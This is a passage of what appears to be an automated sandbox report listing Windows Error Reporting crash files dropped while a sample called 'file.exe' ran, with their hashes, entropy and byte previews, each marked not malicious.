Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.2.5.5.1.6.1.0.1.0.7.7.1.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.2.5.5.1.6.3.0.1.2.8.1.8.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.d.a.c.5.f.e.-.1.e.e.a.-.4.8.4.e.-.a.e.9.c.-.8.b.3.2.e.2.f.4.a.9.4.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.9.3.7.f.f.6.c.-.f.2.4.6.-.4.a.0.5.-.b.9.1.8.-.6.3.0.7.8.2.e.0.e.3.c.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.f.0.-.0.0.0.1.-.0.0.1.4.-.2.3.f.e.-.5.5.d.c.6.1.d.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.9.3.3.8.1.d.2.f.3.5.d.f.4.d.5.4.1.3.4.d.b.0.7.1.6.7.c.2.e.e.e.6.1.6.a.2.d.3.e.9.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER686A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Jul 24 00:40:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	65072
Entropy (8bit):	1.9750830690281551
Encrypted:	false
SSDEEP:	192:0j7IBXXWngTXzzjOQOJwdCXM7cE5cP3HsZbXHjjd69FJ9rNsHmZo7PF54afZ7Jez:Q7fngOQEO20cE5wQ09WGZIN54axat
MD5:	F09446B060A2BB02180FA695A8A46284
SHA1:	2C9C546BD9DFEC3C13922D35A982968FA9D90F93
SHA-256:	F041EBA5CDC9AC97272C97D7F9DAF12A68D9758EDED6930DC81A304F46C53857
SHA-512:	9008F054419B70A9283B01786D435F00B246C1B0910C6D794D2E75205F697ECE0AFEE1EE7ECEE10FE9A937FEB2FD7C0B11636D2227FFD463655B82B4E591F8E4
Malicious:	false
Preview:	MDMP..a..... .......kM.f............4...............<............*..........T.......8...........T............3..........................................................................................................eJ......H.......GenuineIntel............T........)..iM.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER69A3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8332
Entropy (8bit):	3.689168552746655
Encrypted:	false
SSDEEP:	192:R6l7wVeJMXW6CceF6YOK6egmfZwpDa89bzPsfERm:R6lXJMG6TeF6Yb6egmfZ+z0ff
MD5:	78463C1E3DE2AD811972AB65B6D57274
SHA1:	5ECA67D8386A56385C0A379FB34C164BA7B2D4E7
SHA-256:	5722F5957E43580C82EB7B70D160ACA6C9EA373D4907919043E55882121803BA
SHA-512:	FAED3644E99B949A2F8D818195306895F7D77702629D81727609C0E94927EC10FF0D520D2825542FA2A955DDBBDB8768958AF2F8A2223291F4E99C88D64FEB84
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.6.5.6.<./.P.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER69D3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.432061378153585
Encrypted:	false
SSDEEP:	48:cvIwWl8zshNJg77aI99pRqWpW8VY6Ym8M4Ji80N0us07FH+q8w0n0v2DEfj0zBL6:uIjfhnI7DpRL7VWJZaOapOZDEbSBLSZd
MD5:	59BC716B4FE55332291CD7591B9D2557
SHA1:	7DC16E9AF498B7D9F241FBE32817EA137701B912
SHA-256:	4BC49565EE55BDA90646A2E332A5524BDCBC36C6C40358BBC8829A52F85DAD3E
SHA-512:	4371D6317F3FACEDAEF4323A0D50907A095910CE2E8296A41E3F4BD7A2DD7E83A33804AE605BAB6D7056229637E92BB08804E3982377E962209C1CAE3CBBC398
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="424302" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER69F2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94160
Entropy (8bit):	3.0923951829247494
Encrypted:	false
SSDEEP:	1536:fIZw6kQZw5WTLDEJMPVwiSFrFOcn0DRL74urTu9dG:fIZw6kQZw5WTLDEJMPVwiSFrFOcn0DR/
MD5:	6F6C75EA44A59304F6CB3257C9F03C97
SHA1:	4ECC20173C6D7AA3FF0F9A627494E123426F76F6
SHA-256:	77CD273924217ABE6B080DE07A7FF1D9A0F324507BCBD809AE3C1A10E8887A96
SHA-512:	45983E5B5EF8EDA486490F435FED21923359D21E8E984BCAD0BEACE1EBAE1F0CFA73439D20E578165797411D74F24592228EB5FDC0394F198F64B18E841CB6CE
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A61.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6982121834494612
Encrypted:	false
SSDEEP:	96:TiZYWi1dJjNYOYTZAHnYEZrortHivIbkfw4K01yao30M2fVIbRGy:2ZDWNp5Vd1yao30M2fqbRGy
MD5:	104E4EA4992F3316DB7FC12D3B14D0B7
SHA1:	4B65DF24933CC0749DE2D7C5D41B09777CE9612E
SHA-256:	BB59CA4CA5D7415B0B4BAA0EE84D35CA0D71453FC15510D6332A6D3BE7E3C385
SHA-512:	AAE3E72E4043517FE45B94D43D585103040936FC98041029C514B73626D9F7412CEBDD1B2C6E98064036C10F22298D39B33FD0A45BCAE9E0F0AFD41BA7B457C0
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BD2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97080
Entropy (8bit):	3.0881067567037555
Encrypted:	false
SSDEEP:	1536:nbS6tOBZc5u1SHAHNtcqSm9N7ZdtKL74BWTSTpF:nbS6tOBZc5u1SHAHNtcqSm9N7ZdtKL70
MD5:	3F39E4E4D32B73EE7B4BC653E6D37091
SHA1:	4157208BD5679E7D5829F734F32E2A86809E60E1
SHA-256:	B5CA90B426487DCF9E70486404FCE0F2D186A806FC380BA3CCEAB06F6776AF1B
SHA-512:	48464B9F704C977B9BA540331D09562A59F33CEF0F5C2A68BE0F400FA672AFAB4D633B7EE36BD8188AC4E0FA9A0031FC4B1B197F119BD89949777E1F5655095C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C7F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6988290030761273
Encrypted:	false
SSDEEP:	96:TiZYWhhby4fjYWYoZbH7QYEZ0HtHiPIYk2w9clwaY3YMeOfT2IeGy:2ZDhrxff7aY3YMeOfteGy
MD5:	465C00C749B7BC701073AFAF4D5E4C4E
SHA1:	23D8B3066277D4178042BD24B49AAB285422286F
SHA-256:	FBA506DCC53EAD853E99D2F0777AACAB66ACFC210645CC29A22E51895B52E959
SHA-512:	B08B9CEB18DFB2AD48FAF3BA43EDFE7C2E88B37C7D2DCC725B03FB42307B19FA3D98C73967CB051E76E34AAB88B17A2DFD163EA9A9CD89F3376A98D401E51A9E
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA326.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Jul 24 00:39:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	61410
Entropy (8bit):	2.6825226422794124
Encrypted:	false
SSDEEP:	384:abRPEGpqQEp9pU13uAnlSun5ce2C5WbSLgo:sPE8qQEp9e1eccu5ceLoba1
MD5:	22896F5B3B2FE9BC7D9D6C5B31EED167
SHA1:	1F279DFA35641D1EEE1340AE926ED31C509B4382
SHA-256:	8FB08E809C6328EC2BC43DDDA9CC71D4959E8617ABDADB163C7EE08E1DDED8E8
SHA-512:	4D8190E0DDAADAF2B7F009615A6D2E6C16932EC656BD4CE96BFDFA96609892D2E42BFC73057740AA1B44342F052AFB71062251A3E0D012463C3EF8C0508EF848
Malicious:	false
Preview:	MDMP..a..... .......9M.f............4...............<............7..........T.......8...........T............_..Z............&...........(..............................................................................eJ......h)......GenuineIntel............T............M.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5E6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8314
Entropy (8bit):	3.690916843616498
Encrypted:	false
SSDEEP:	192:R6l7wVeJzC96Pmkl6Y9NSU99/JS0gmfB1dADpDT89bIRNsgsffqBm:R6lXJc6PmM6YHSU99/ngmfZVGCfL
MD5:	ECF954EB3220686214345F0989B52929
SHA1:	9A5FBF144173C716D450222CCF79E41F5C69923F
SHA-256:	308151076B05503345D35B5B5EE2087CD50C86F92E794BD81977F75501351BA5
SHA-512:	C99C15331497CED3DC627A8F978EA161DB07A084A4C123BABDD47B1041ADA373256EA69759A39D3F0074D38A2F16479878B7647B237E51FCB8A1CE82A5B4F019
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA700.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.423957235204808
Encrypted:	false
SSDEEP:	48:cvIwWl8zshNJg77aI99pRqWpW8VYUYm8M4JWsFrg+q80osTHBPgd:uIjfhnI7DpRL7VAJFgdLBPgd
MD5:	079944EC360896555E3A30D4A0CFABA7
SHA1:	5714EDD600E8BADDF150C94FB65B6344F761081C
SHA-256:	A99F5EAF2F95C2FD6AE385B094B27C020B2767252B39DE19F5EF4F47359DD3C3
SHA-512:	E571F7765889C1E557780CE68740718ACA6FFAE93BDDFAA1583D9F69ADCCDCC603DB621406E098919260F70BFA950E5CD48220211E74BF19E9EBE9FC4F2EBA51
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="424302" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA71D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99470
Entropy (8bit):	3.0886038097815454
Encrypted:	false
SSDEEP:	3072:PPCCpWN4TNb8h6s4n1p6wacMlz4td+qbkQhEfSWafF:r
MD5:	699E52E6FD585B48B00C2063CCCBE5BD
SHA1:	F905477114EA6BE5BB088EFF2013143EB8DE8D11
SHA-256:	9A1B4C50926AC030E0E1BBF35DB3305159C6AA28A9C85D34018D205D2439DA0B
SHA-512:	8EA91A9D8984018271C8EE9D052F66E9F89DB143DE8E57D979D0A7BCF7261E3191B664B5BDF5C0D03008D44D6210453D2EA11D909FA4A98D1C5738360A92E96C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA89.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6935792513180696
Encrypted:	false
SSDEEP:	96:TiZYWgHiibVfYUjYUW2HmYEZlvtHi4I4kDwT9c9agz3GMdfeIfGe:2ZD4fLjgnmaG3GMdfpfGe
MD5:	E5DF8AB95899BA85F45C6CD6BD5966D6
SHA1:	6198EE748C3A2CBBE5C4367EB683858CD9535DF0
SHA-256:	4885B71A62618200603054E001E06E2AD10E637A4466FCED70477FEDB97D1B92
SHA-512:	92D70F433066861526CF62524E353900BCC1169E0EA64147555AB1895043663D0F7D14E5FF889928538DE1AED70884F2255550BD4083F0F5EBD9E5D03DE0ECC8
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBBA0.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97102
Entropy (8bit):	3.087792970487431
Encrypted:	false
SSDEEP:	1536:AKU6TqgZ8he1F5Ancg5ScJNYoRDL74RA2uTft:AKU6TqgZ8he1F5Ancg5ScJNYoRDL74Rc
MD5:	228D9DC87D3A012D31FCF654EE012152
SHA1:	532FD550159A0639B073BAE96A19ECB9FD5529D8
SHA-256:	4D181F2F5B65B4D4266D96F4AA612DC5F9ED572EFEFB6701E7A5CD700A4329AC
SHA-512:	AE495147D4FBF434D8EBB1E1248060560CE0C81B869866AA0F56696A9BAC1CAB5163B997A44FAD028285EAD0A7395098D71C6C2E33383B6049C9006FC9EE65C8
Malicious:	false
